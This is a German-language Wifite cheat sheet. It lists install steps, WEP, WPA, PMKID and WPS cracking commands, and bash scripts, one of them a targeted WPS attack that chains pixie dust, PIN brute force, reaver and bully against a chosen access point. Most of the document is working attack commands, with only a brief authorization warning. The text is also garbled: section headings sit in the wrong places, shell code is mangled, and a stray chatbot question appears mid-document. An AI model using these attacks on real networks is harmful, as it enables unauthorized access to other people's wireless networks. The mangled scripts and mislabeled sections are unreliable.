Wifite Cheat Sheet¶
Überblick¶
Wifite ist ein automatisiertes Wireless-Angriffstool, das den Prozess der Überprüfung von WEP-, WPA- und WPS-verschlüsselten Netzwerken vereinfacht. Es automatisiert viele der mühsamen Aufgaben bei Wireless-Penetrationstests, indem es mehrere Tools wie aircrack-ng, reaver, bully und andere in eine einzige, benutzerfreundliche Oberfläche integriert. Wifite kann Sicherheitslücken automatisch erkennen und versuchen, drahtlose Netzwerke mit verschiedenen Angriffsmethoden zu knacken.
⚠️ Warnung: Verwenden Sie Wifite nur bei Drahtlosnetzwerken, die Ihnen gehören oder für deren Test Sie eine ausdrückliche Erlaubnis haben. Unbefugte Wireless-Angriffe können gegen lokale Gesetze und Vorschriften verstoßen.
Installation¶
Kali Linux Installation¶
# Wifite is pre-installed on Kali Linux
wifite --help
# Update to latest version
sudo apt update
sudo apt install wifite
# Install Wifite2 (newer version)
sudo apt install wifite2
Ubuntu/Debian Installation¶
# Install dependencies first
sudo apt update
sudo apt install python3 python3-pip aircrack-ng reaver bully pixiewps
# Install from package manager
sudo apt install wifite
# Or install via pip
sudo pip3 install wifite2
# Install additional tools for full functionality
sudo apt install hashcat hcxdumptool hcxtools tshark
Manuelle Installation¶
# Clone Wifite2 repository
git clone https://github.com/derv82/wifite2.git
cd wifite2
# Install Python dependencies
sudo pip3 install -r requirements.txt
# Install Wifite
sudo python3 setup.py install
# Make executable
sudo chmod +x wifite.py
sudo ln -s $(pwd)/wifite.py /usr/local/bin/wifite
# Verify installation
wifite --help
Docker Installation¶
# Pull Wifite Docker image
docker pull kalilinux/kali-rolling
# Run with network privileges
docker run -it --rm --net=host --privileged \
-v /dev/bus/usb:/dev/bus/usb \
kalilinux/kali-rolling
# Inside container, install Wifite
apt update && apt install -y wifite
Abhängigkeiten und Tools¶
Erforderliche Tools¶
# Check required tools
wifite --check
# Install aircrack-ng suite
sudo apt install aircrack-ng
# Install reaver for WPS attacks
sudo apt install reaver
# Install bully (alternative WPS tool)
sudo apt install bully
# Install pixiewps for WPS PIN attacks
sudo apt install pixiewps
# Install hashcat for password cracking
sudo apt install hashcat
# Install hcxtools for PMKID attacks
sudo apt install hcxdumptool hcxtools
Optionale Tools¶
# Install tshark for packet analysis
sudo apt install tshark
# Install cowpatty for WPA cracking
sudo apt install cowpatty
# Install john the ripper
sudo apt install john
# Install macchanger for MAC spoofing
sudo apt install macchanger
# Install pyrit for GPU acceleration
sudo apt install pyrit
Grundlegende Nutzung¶
Schnittstelleneinrichtung¶
# List available interfaces
wifite --list-interfaces
# Use specific interface
wifite --interface wlan0
# Put interface in monitor mode manually
sudo airmon-ng start wlan0
# Check monitor mode interfaces
iwconfig
Grundlegendes Scannen und Angriffe¶
# Basic scan and attack
sudo wifite
# Scan specific interface
sudo wifite --interface wlan0
# Attack specific target by BSSID
sudo wifite --bssid AA:BB:CC:DD:EE:FF
# Attack specific target by ESSID
sudo wifite --essid "TargetNetwork"
# Show verbose output
sudo wifite --verbose
# Quiet mode (minimal output)
sudo wifite --quiet
Zielauswahl¶
# Attack only WEP networks
sudo wifite --wep
# Attack only WPA networks
sudo wifite --wpa
# Attack only WPS networks
sudo wifite --wps
# Attack networks with specific encryption
sudo wifite --wep --wpa --wps
# Filter by signal strength (minimum dBm)
sudo wifite --min-power -50
# Attack only networks with clients
sudo wifite --clients-only
WEP-Angriffe¶
Grundlegendes WEP-Knacken¶
# Target only WEP networks
sudo wifite --wep
# Specify WEP timeout
sudo wifite --wep --wep-timeout 600
# Set packet threshold for WEP
sudo wifite --wep --wep-pps 300
# Use specific WEP attack methods
sudo wifite --wep --wep-filter
# Keep temporary files for analysis
sudo wifite --wep --keep-ivs
Erweiterte WEP-Optionen¶
# Replay attack options
sudo wifite --wep --wep-pps 500 --wep-timeout 1200
# Use ARP replay attack
sudo wifite --wep --wep-replay
# Use fragmentation attack
sudo wifite --wep --wep-frag
# Use chopchop attack
sudo wifite --wep --wep-chopchop
# Combine multiple attack methods
sudo wifite --wep --wep-replay --wep-frag --wep-chopchop
WPA/WPA2-Angriffe¶
Handshake-Erfassung¶
# Target WPA networks
sudo wifite --wpa
# Set handshake timeout
sudo wifite --wpa --wpa-timeout 300
# Specify handshake directory
sudo wifite --wpa --wpa-handshake-dir /tmp/handshakes
# Deauth packet count
sudo wifite --wpa --wpa-deauth-timeout 10
# Attack with custom wordlist
sudo wifite --wpa --dict /path/to/wordlist.txt
PMKID-Angriffe¶
# Enable PMKID attack
sudo wifite --wpa --pmkid
# PMKID timeout
sudo wifite --wpa --pmkid --pmkid-timeout 300
# Combine handshake and PMKID
sudo wifite --wpa --pmkid --wpa-handshake
# Use specific PMKID tool
sudo wifite --wpa --pmkid --hcxdumptool-timeout 60
WPA-Knack-Optionen¶
# Use aircrack-ng for cracking
sudo wifite --wpa --wpa-attack aircrack
# Use hashcat for cracking
sudo wifite --wpa --wpa-attack hashcat
# Use john the ripper
sudo wifite --wpa --wpa-attack john
# Specify custom wordlist
sudo wifite --wpa --dict /usr/share/wordlists/rockyou.txt
# Strip handshake (remove unnecessary data)
sudo wifite --wpa --wpa-strip
WPS-Angriffe¶
Grundlegende WPS-Angriffe¶
# Target only WPS networks
sudo wifite --wps
# WPS timeout setting
sudo wifite --wps --wps-timeout 300
# Maximum WPS attempts
sudo wifite --wps --wps-attempts 100
# WPS attack methods
sudo wifite --wps --wps-pixie --wps-pin
Pixie-Dust-Angriff¶
# Pixie dust attack only
sudo wifite --wps --wps-pixie
# Pixie dust timeout
sudo wifite --wps --wps-pixie --pixie-timeout 300
# Skip PIN attack if pixie fails
sudo wifite --wps --wps-pixie --wps-no-pin
# Use specific pixie tool
sudo wifite --wps --wps-pixie --pixie-tool pixiewps
WPS-PIN-Angriffe¶
# PIN attack only
sudo wifite --wps --wps-pin
# PIN attack timeout
sudo wifite --wps --wps-pin --pin-timeout 3600
# Use reaver for PIN attack
sudo wifite --wps --wps-pin --reaver
# Use bully for PIN attack
sudo wifite --wps --wps-pin --bully
# Custom PIN attempts
sudo wifite --wps --wps-pin --wps-attempts 1000
Erweiterte Optionen¶
Ausgabe und Logging¶
# Specify output directory
sudo wifite --out-dir /tmp/wifite_results
# Keep temporary files
sudo wifite --keep-temp
# Save cracked passwords
sudo wifite --cracked-file /tmp/cracked.txt
# Verbose logging
sudo wifite --verbose --out-dir /tmp/logs
# Quiet mode with logging
sudo wifite --quiet --out-dir /tmp/results
Netzwerk-Filterung¶
Would you like me to continue with the remaining sections?```bash
Filter by manufacturer¶
sudo wifite --manufacturer Linksys
Filter by channel¶
sudo wifite --channel 6
Multiple channels¶
sudo wifite --channel 1,6,11
Exclude specific networks¶
sudo wifite --ignore-essid "MyNetwork,GuestWiFi"
Include only specific networks¶
sudo wifite --essid "TargetNetwork"
Filter by encryption type¶
sudo wifite --wpa --wps --ignore-wep
### Angriffs-Anpassungbash
Custom deauth count¶
sudo wifite --wpa-deauth 5
Custom scan time¶
sudo wifite --scan-time 30
Attack timeout¶
sudo wifite --attack-timeout 3600
Number of targets to attack¶
sudo wifite --num-targets 5
Infinite attack mode¶
sudo wifite --infinite
## Automatisierungsscriptebash
!/bin/bash¶
Comprehensive wireless security assessment with Wifite¶
INTERFACE="wlan0" OUTPUT_DIR="wireless_assessment_$(date +%Y%m%d_%H%M%S)" WORDLIST="/usr/share/wordlists/rockyou.txt" SCAN_TIME=60 ATTACK_TIMEOUT=1800
mkdir -p "$OUTPUT_DIR"
Function to setup interface¶
setup_interface() \\{ echo "[+] Setting up wireless interface: $INTERFACE"
# Kill conflicting processes
sudo airmon-ng check kill
# Start monitor mode
sudo airmon-ng start "$INTERFACE"
# Get monitor interface name
MONITOR_INTERFACE=$(iwconfig 2>/dev/null|grep "Mode:Monitor"|awk '\\\\{print $1\\\\}')
if [ -z "$MONITOR_INTERFACE" ]; then
echo "[-] Failed to create monitor interface"
return 1
fi
echo "[+] Monitor interface created: $MONITOR_INTERFACE"
return 0
\\}
Function to run comprehensive scan¶
run_comprehensive_scan() \\{ echo "[+] Running comprehensive wireless assessment"
# WEP Assessment
echo "[+] Phase 1: WEP Network Assessment"
sudo wifite \
--interface "$MONITOR_INTERFACE" \
--wep \
--wep-timeout "$ATTACK_TIMEOUT" \
--out-dir "$OUTPUT_DIR/wep" \
--verbose \
--scan-time "$SCAN_TIME" \
2>&1|tee "$OUTPUT_DIR/wep_assessment.log"
# WPA Assessment
echo "[+] Phase 2: WPA/WPA2 Network Assessment"
sudo wifite \
--interface "$MONITOR_INTERFACE" \
--wpa \
--pmkid \
--wpa-timeout "$ATTACK_TIMEOUT" \
--dict "$WORDLIST" \
--out-dir "$OUTPUT_DIR/wpa" \
--verbose \
--scan-time "$SCAN_TIME" \
2>&1|tee "$OUTPUT_DIR/wpa_assessment.log"
# WPS Assessment
echo "[+] Phase 3: WPS Network Assessment"
sudo wifite \
--interface "$MONITOR_INTERFACE" \
--wps \
--wps-pixie \
--wps-pin \
--wps-timeout "$ATTACK_TIMEOUT" \
--out-dir "$OUTPUT_DIR/wps" \
--verbose \
--scan-time "$SCAN_TIME" \
2>&1|tee "$OUTPUT_DIR/wps_assessment.log"
\\}
Function to generate report¶
generate_report() \\{ echo "[+] Generating assessment report"
local report_file="$OUTPUT_DIR/wireless_assessment_report.html"
cat > "$report_file" << EOF
Wireless Security Assessment Report
Generated: $(date)
Assessment Duration: $(echo "scale=2; $ATTACK_TIMEOUT/60"|bc) minutes per phase
WEP Network Assessment
" >> "$report_file" if [ -f "$OUTPUT_DIR/wep_assessment.log" ]; then wep_cracked=$(grep -c "WEP KEY FOUND" "$OUTPUT_DIR/wep_assessment.log" 2>/dev/null||echo "0") wep_total=$(grep -c "WEP" "$OUTPUT_DIR/wep_assessment.log" 2>/dev/null||echo "0") if [ "$wep_cracked" -gt 0 ]; then echo "⚠️ CRITICAL: WEP Networks Compromised
" >> "$report_file" echo "Successfully cracked $wep_cracked out of $wep_total WEP networks
" >> "$report_file" echo "✅ No WEP vulnerabilities exploited
" >> "$report_file" echo "Tested $wep_total WEP networks
" >> "$report_file" echo "WPA/WPA2 Network Assessment
" >> "$report_file" if [ -f "$OUTPUT_DIR/wpa_assessment.log" ]; then wpa_cracked=$(grep -c "WPA KEY FOUND\|PMKID FOUND" "$OUTPUT_DIR/wpa_assessment.log" 2>/dev/null||echo "0") handshakes=$(grep -c "handshake" "$OUTPUT_DIR/wpa_assessment.log" 2>/dev/null||echo "0") if [ "$wpa_cracked" -gt 0 ]; then echo "⚠️ HIGH: WPA/WPA2 Networks Compromised
" >> "$report_file" echo "Successfully cracked $wpa_cracked WPA/WPA2 networks
" >> "$report_file" echo "Captured $handshakes handshakes for offline analysis
" >> "$report_file" echo "⚠️ Handshakes captured for offline analysis
" >> "$report_file" echo "Captured $handshakes handshakes - recommend stronger passwords
" >> "$report_file" echo "WPS Network Assessment
" >> "$report_file" if [ -f "$OUTPUT_DIR/wps_assessment.log" ]; then wps_cracked=$(grep -c "WPS PIN FOUND\|WPS KEY FOUND" "$OUTPUT_DIR/wps_assessment.log" 2>/dev/null||echo "0") pixie_success=$(grep -c "Pixie" "$OUTPUT_DIR/wps_assessment.log" 2>/dev/null||echo "0") if [ "$wps_cracked" -gt 0 ]; then echo "⚠️ CRITICAL: WPS Networks Compromised
" >> "$report_file" echo "Successfully cracked $wps_cracked WPS-enabled networks
" >> "$report_file" echo "Pixie dust attacks successful: $pixie_success
" >> "$report_file" echo "✅ WPS attacks unsuccessful
" >> "$report_file" echo "WPS-enabled networks appear to be properly configured
" >> "$report_file" echo "Security Recommendations
- Disable WEP: WEP encryption is fundamentally broken and should never be used
- Use WPA3: Upgrade to WPA3 where possible, or WPA2 with strong passwords
- Disable WPS: WPS is vulnerable to brute force and pixie dust attacks
- Strong Passwords: Use complex passwords with 15+ characters
- Regular Updates: Keep wireless equipment firmware updated
- Network Segmentation: Isolate wireless networks from critical systems
- Monitor for Rogue APs: Regularly scan for unauthorized access points
EOF
echo "[+] Report generated: $report_file"
\\}
Function to cleanup¶
cleanup() \\{ echo "[+] Cleaning up..."
# Stop monitor mode
if [ -n "$MONITOR_INTERFACE" ]; then
sudo airmon-ng stop "$MONITOR_INTERFACE"
fi
# Restart network services
sudo systemctl restart NetworkManager 2>/dev/null||true
echo "[+] Cleanup completed"
\\}
Trap cleanup on exit¶
trap cleanup EXIT
Main execution¶
echo "[+] Starting comprehensive wireless security assessment" echo "[+] Output directory: $OUTPUT_DIR"
Check dependencies¶
if ! command -v wifite &> /dev/null; then echo "[-] Wifite not found. Please install Wifite first." exit 1 fi
if ! command -v airmon-ng &> /dev/null; then echo "[-] airmon-ng not found. Please install aircrack-ng suite." exit 1 fi
Setup interface¶
if setup_interface; then # Run assessment run_comprehensive_scan
# Generate report
generate_report
echo "[+] Wireless security assessment completed"
echo "[+] Results saved in: $OUTPUT_DIR"
echo "[+] Open $OUTPUT_DIR/wireless_assessment_report.html for detailed results"
else
echo "[-] Failed to setup wireless interface"
exit 1
fi
### Automatisierte Wireless-Bewertungbash
!/bin/bash¶
Targeted WPS attack script with multiple methods¶
TARGET_BSSID="\(1" INTERFACE="wlan0" OUTPUT_DIR="wps_attack_\)(date +%Y%m%d_%H%M%S)"
if [ -z "$TARGET_BSSID" ]; then
echo "Usage: $0
mkdir -p "$OUTPUT_DIR"
Function to setup monitor mode¶
setup_monitor() \\{ echo "[+] Setting up monitor mode on $INTERFACE"
sudo airmon-ng check kill
sudo airmon-ng start "$INTERFACE"
MONITOR_INTERFACE=$(iwconfig 2>/dev/null|grep "Mode:Monitor"|awk '\\\\{print $1\\\\}')
if [ -z "$MONITOR_INTERFACE" ]; then
echo "[-] Failed to create monitor interface"
return 1
fi
echo "[+] Monitor interface: $MONITOR_INTERFACE"
return 0
\\}
Function to run pixie dust attack¶
pixie_dust_attack() \\{ echo "[+] Attempting Pixie Dust attack on $TARGET_BSSID"
local log_file="$OUTPUT_DIR/pixie_dust.log"
timeout 300 sudo wifite \
--interface "$MONITOR_INTERFACE" \
--bssid "$TARGET_BSSID" \
--wps \
--wps-pixie \
--wps-no-pin \
--out-dir "$OUTPUT_DIR" \
--verbose \
2>&1|tee "$log_file"
if grep -q "WPS PIN FOUND\|WPS KEY FOUND" "$log_file"; then
echo "[+] Pixie Dust attack successful!"
return 0
else
echo "[-] Pixie Dust attack failed"
return 1
fi
\\}
Function to run PIN attack¶
pin_attack() \\{ echo "[+] Attempting WPS PIN attack on $TARGET_BSSID"
local log_file="$OUTPUT_DIR/pin_attack.log"
timeout 3600 sudo wifite \
--interface "$MONITOR_INTERFACE" \
--bssid "$TARGET_BSSID" \
--wps \
--wps-pin \
--wps-attempts 1000 \
--out-dir "$OUTPUT_DIR" \
--verbose \
2>&1|tee "$log_file"
if grep -q "WPS PIN FOUND\|WPS KEY FOUND" "$log_file"; then
echo "[+] PIN attack successful!"
return 0
else
echo "[-] PIN attack failed"
return 1
fi
\\}
Function to run reaver attack¶
reaver_attack() \\{ echo "[+] Attempting Reaver attack on $TARGET_BSSID"
local log_file="$OUTPUT_DIR/reaver_attack.log"
timeout 1800 sudo reaver \
-i "$MONITOR_INTERFACE" \
-b "$TARGET_BSSID" \
-vv \
-K 1 \
-N \
-L \
-d 15 \
-T 0.5 \
-c 1 \
2>&1|tee "$log_file"
if grep -q "WPS PIN:" "$log_file"; then
echo "[+] Reaver attack successful!"
return 0
else
echo "[-] Reaver attack failed"
return 1
fi
\\}
Function to run bully attack¶
bully_attack() \\{ echo "[+] Attempting Bully attack on $TARGET_BSSID"
local log_file="$OUTPUT_DIR/bully_attack.log"
timeout 1800 sudo bully \
"$MONITOR_INTERFACE" \
-b "$TARGET_BSSID" \
-v 3 \
-d \
-B \
2>&1|tee "$log_file"
if grep -q "PIN FOUND" "$log_file"; then
echo "[+] Bully attack successful!"
return 0
else
echo "[-] Bully attack failed"
return 1
fi
\\}
Function to generate attack report¶
generate_attack_report() \\{ echo "[+] Generating attack report"
local report_file="$OUTPUT_DIR/wps_attack_report.txt"
cat > "$report_file" << EOF
WPS Attack Report¶
Target: $TARGET_BSSID Date: $(date) Interface: $MONITOR_INTERFACE
Attack Methods Attempted: EOF
# Check results of each attack
if [ -f "$OUTPUT_DIR/pixie_dust.log" ]; then
echo "1. Pixie Dust Attack:" >> "$report_file"
if grep -q "WPS PIN FOUND\|WPS KEY FOUND" "$OUTPUT_DIR/pixie_dust.log"; then
echo " Status: SUCCESS" >> "$report_file"
grep -E "WPS PIN|WPS KEY|PSK" "$OUTPUT_DIR/pixie_dust.log" >> "$report_file"
else
echo " Status: FAILED" >> "$report_file"
fi
echo "" >> "$report_file"
fi
if [ -f "$OUTPUT_DIR/pin_attack.log" ]; then
echo "2. PIN Attack:" >> "$report_file"
if grep -q "WPS PIN FOUND\|WPS KEY FOUND" "$OUTPUT_DIR/pin_attack.log"; then
echo " Status: SUCCESS" >> "$report_file"
grep -E "WPS PIN|WPS KEY|PSK" "$OUTPUT_DIR/pin_attack.log" >> "$report_file"
else
echo " Status: FAILED" >> "$report_file"
fi
echo "" >> "$report_file"
fi
if [ -f "$OUTPUT_DIR/reaver_attack.log" ]; then
echo "3. Reaver Attack:" >> "$report_file"
if grep -q "WPS PIN:" "$OUTPUT_DIR/reaver_attack.log"; then
echo " Status: SUCCESS" >> "$report_file"
grep -E "WPS PIN|PSK" "$OUTPUT_DIR/reaver_attack.log" >> "$report_file"
else
echo " Status: FAILED" >> "$report_file"
fi
echo "" >> "$report_file"
fi
if [ -f "$OUTPUT_DIR/bully_attack.log" ]; then
echo "4. Bully Attack:" >> "$report_file"
if grep -q "PIN FOUND" "$OUTPUT_DIR/bully_attack.log"; then
echo " Status: SUCCESS" >> "$report_file"
grep -E "PIN FOUND|PSK" "$OUTPUT_DIR/bully_attack.log" >> "$report_file"
else
echo " Status: FAILED" >> "$report_file"
fi
echo "" >> "$report_file"
fi
echo "[+] Report saved: $report_file"
\\}
Cleanup function¶
cleanup() \\{ echo "[+] Cleaning up..." if [ -n "\(MONITOR_INTERFACE" ]; then sudo airmon-ng stop "\)MONITOR_INTERFACE" fi sudo systemctl restart NetworkManager 2>/dev/null||true \\}
trap cleanup EXIT
Main execution¶
echo "[+] Starting targeted WPS attack on $TARGET_BSSID"
if setup_monitor; then # Try pixie dust first (fastest) if pixie_dust_attack; then echo "[+] Target compromised via Pixie Dust attack!" else echo "[+] Pixie Dust failed, trying PIN attack..." if pin_attack; then echo "[+] Target compromised via PIN attack!" else echo "[+] Wifite attacks failed, trying manual tools..."
# Try reaver
if reaver_attack; then
echo "[+] Target compromised via Reaver!"
else
echo "[+] Reaver failed, trying Bully..."
if bully_attack; then
echo "[+] Target compromised via Bully!"
else
echo "[-] All WPS attacks failed"
fi
fi
fi
fi
generate_attack_report
echo "[+] Attack completed. Results in: $OUTPUT_DIR"
else
echo "[-] Failed to setup monitor mode"
exit 1
fi
### Gezieltes WPS-Angriffs-Skriptbash
!/bin/bash¶
Continuous wireless monitoring and alerting¶
INTERFACE="wlan0" SCAN_INTERVAL=300 # 5 minutes ALERT_EMAIL="security@company.com" KNOWN_NETWORKS_FILE="known_networks.txt" LOG_DIR="wireless_monitoring"
mkdir -p "$LOG_DIR"
Function to create known networks file¶
create_known_networks() \\{ if [ ! -f "\(KNOWN_NETWORKS_FILE" ]; then cat > "\)KNOWN_NETWORKS_FILE" << 'EOF'
Known legitimate networks¶
Format: BSSID|ESSID|ENCRYPTION¶
AA:BB:CC:DD:EE:FF|CompanyWiFi|WPA2 11:22:33:44:55:66|GuestNetwork|WPA2
Add your known networks here¶
EOF echo "Created $KNOWN_NETWORKS_FILE - please configure with your known networks" exit 1 fi \\}
Function to scan for networks¶
scan_networks() \\{ local timestamp=\((date +%Y%m%d_%H%M%S) local scan_file="\)LOG_DIR/scan_$timestamp.txt"
echo "[+] Scanning for wireless networks..."
timeout 60 sudo wifite \
--interface "$MONITOR_INTERFACE" \
--scan-time 30 \
--no-attack \
--out-dir "$LOG_DIR" \
2>&1|grep -E "BSSID|ESSID|WEP|WPA|WPS" > "$scan_file"
echo "$scan_file"
\\}
Function to detect rogue networks¶
detect_rogue_networks() \\{ local scan_file="\(1" local timestamp=\)(date +%Y%m%d_%H%M%S) local rogue_file="\(LOG_DIR/rogue_\)timestamp.txt"
echo "[+] Analyzing scan results for rogue networks..."
> "$rogue_file" # Clear file
# Parse scan results and compare with known networks
while read -r line; do
if [[ "$line" =~ BSSID ]]; then
bssid=$(echo "$line"|grep -oE '([0-9A-Fa-f]\\\\{2\\\\}:)\\\\{5\\\\}[0-9A-Fa-f]\\\\{2\\\\}')
# Check if this BSSID is in known networks
if ! grep -q "$bssid" "$KNOWN_NETWORKS_FILE"; then
echo "$line" >> "$rogue_file"
fi
fi
done < "$scan_file"
if [ -s "$rogue_file" ]; then
echo "[!] Rogue networks detected!"
cat "$rogue_file"
# Send alert
echo "Rogue wireless networks detected at $(date)"|\
mail -s "SECURITY ALERT: Rogue Networks" -A "$rogue_file" "$ALERT_EMAIL" 2>/dev/null||\
echo "Alert: Rogue networks detected (email failed)"
else
echo "[+] No rogue networks detected"
fi
\\}
Function to detect security issues¶
detect_security_issues() \\{ local scan_file="\(1" local timestamp=\)(date +%Y%m%d_%H%M%S) local issues_file="\(LOG_DIR/security_issues_\)timestamp.txt"
echo "[+] Checking for security issues..."
cat > "$issues_file" << EOF
Wireless Security Issues Report Generated: $(date) ==============================
EOF
# Check for WEP networks
wep_count=$(grep -c "WEP" "$scan_file" 2>/dev/null||echo "0")
if [ "$wep_count" -gt 0 ]; then
echo "⚠️ WEP Networks Detected: $wep_count" >> "$issues_file"
grep "WEP" "$scan_file" >> "$issues_file"
echo "" >> "$issues_file"
fi
# Check for open networks
open_count=$(grep -c "Open" "$scan_file" 2>/dev/null||echo "0")
if [ "$open_count" -gt 0 ]; then
echo "⚠️ Open Networks Detected: $open_count" >> "$issues_file"
grep "Open" "$scan_file" >> "$issues_file"
echo "" >> "$issues_file"
fi
# Check for WPS enabled networks
wps_count=$(grep -c "WPS" "$scan_file" 2>/dev/null||echo "0")
if [ "$wps_count" -gt 0 ]; then
echo "⚠️ WPS Enabled Networks: $wps_count" >> "$issues_file"
grep "WPS" "$scan_file" >> "$issues_file"
echo "" >> "$issues_file"
fi
# Send alert if issues found
total_issues=$((wep_count + open_count + wps_count))
if [ "$total_issues" -gt 0 ]; then
echo "Wireless security issues detected: $total_issues"|\
mail -s "Wireless Security Issues" -A "$issues_file" "$ALERT_EMAIL" 2>/dev/null||\
echo "Alert: Security issues detected (email failed)"
fi
\\}
Function to setup monitor mode¶
setup_monitor() \\{ echo "[+] Setting up monitor mode"
sudo airmon-ng check kill
sudo airmon-ng start "$INTERFACE"
MONITOR_INTERFACE=$(iwconfig 2>/dev/null|grep "Mode:Monitor"|awk '\\\\{print $1\\\\}')
if [ -z "$MONITOR_INTERFACE" ]; then
echo "[-] Failed to create monitor interface"
return 1
fi
echo "[+] Monitor interface: $MONITOR_INTERFACE"
return 0
\\}
Cleanup function¶
cleanup() \\{ echo "[+] Stopping monitoring..." if [ -n "\(MONITOR_INTERFACE" ]; then sudo airmon-ng stop "\)MONITOR_INTERFACE" fi sudo systemctl restart NetworkManager 2>/dev/null||true \\}
trap cleanup EXIT
Main monitoring loop¶
echo "[+] Starting continuous wireless monitoring"
create_known_networks
if setup_monitor; then echo "[+] Monitoring every $SCAN_INTERVAL seconds. Press Ctrl+C to stop."
while true; do
scan_file=$(scan_networks)
if [ -f "$scan_file" ] && [ -s "$scan_file" ]; then
detect_rogue_networks "$scan_file"
detect_security_issues "$scan_file"
else
echo "[-] Scan failed or no results"
fi
echo "[+] Next scan in $SCAN_INTERVAL seconds..."
sleep "$SCAN_INTERVAL"
done
else
echo "[-] Failed to setup monitor mode"
exit 1
fi
### Kontinuierliches Monitoring-Skriptbash
Check interface status¶
iwconfig
Kill conflicting processes¶
sudo airmon-ng check kill
Restart network manager¶
sudo systemctl restart NetworkManager
Check for monitor mode support¶
iw list|grep monitor
Manual monitor mode setup¶
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
## Fehlerbehebungbash
Run with sudo¶
sudo wifite
Check user groups¶
groups $USER
Add user to required groups¶
sudo usermod -aG netdev $USER
Fix file permissions¶
sudo chmod +x /usr/bin/wifite
### Häufige Problemebash
Check required tools¶
wifite --check
Install missing dependencies¶
sudo apt install aircrack-ng reaver bully pixiewps
Update tool databases¶
sudo apt update && sudo apt upgrade
Check tool versions¶
aircrack-ng --help
reaver -h
bully -h
#### Schnittstellenproblemebash
Increase timeout values¶
sudo wifite --wpa-timeout 600
Use specific attack methods¶
sudo wifite --wps --wps-pixie
Check signal strength¶
sudo wifite --min-power -60
Use verbose output for debugging¶
sudo wifite --verbose
#### Berechtigungsproblemebash
Reduce scan time¶
sudo wifite --scan-time 15
Target specific networks¶
sudo wifite --essid "TargetNetwork"
Use faster attack methods¶
sudo wifite --wps --wps-pixie --wps-no-pin
Optimize for specific encryption¶
sudo wifite --wpa --pmkid ```#### Tool-Abhängigkeiten https://github.com/derv82/wifite2###
Angriffsfehler¶
https://www.aircrack-ng.org/##
Leistungsoptimierung¶
https://github.com/t6x/reaver-wps-fork-t6x#
Ressourcen¶
https://www.sans.org/white-papers/36287/- Wifite2 GitHub Repositoryhttps://standards.ieee.org/standard/802_11i-2004.html- Aircrack-ng Dokumentation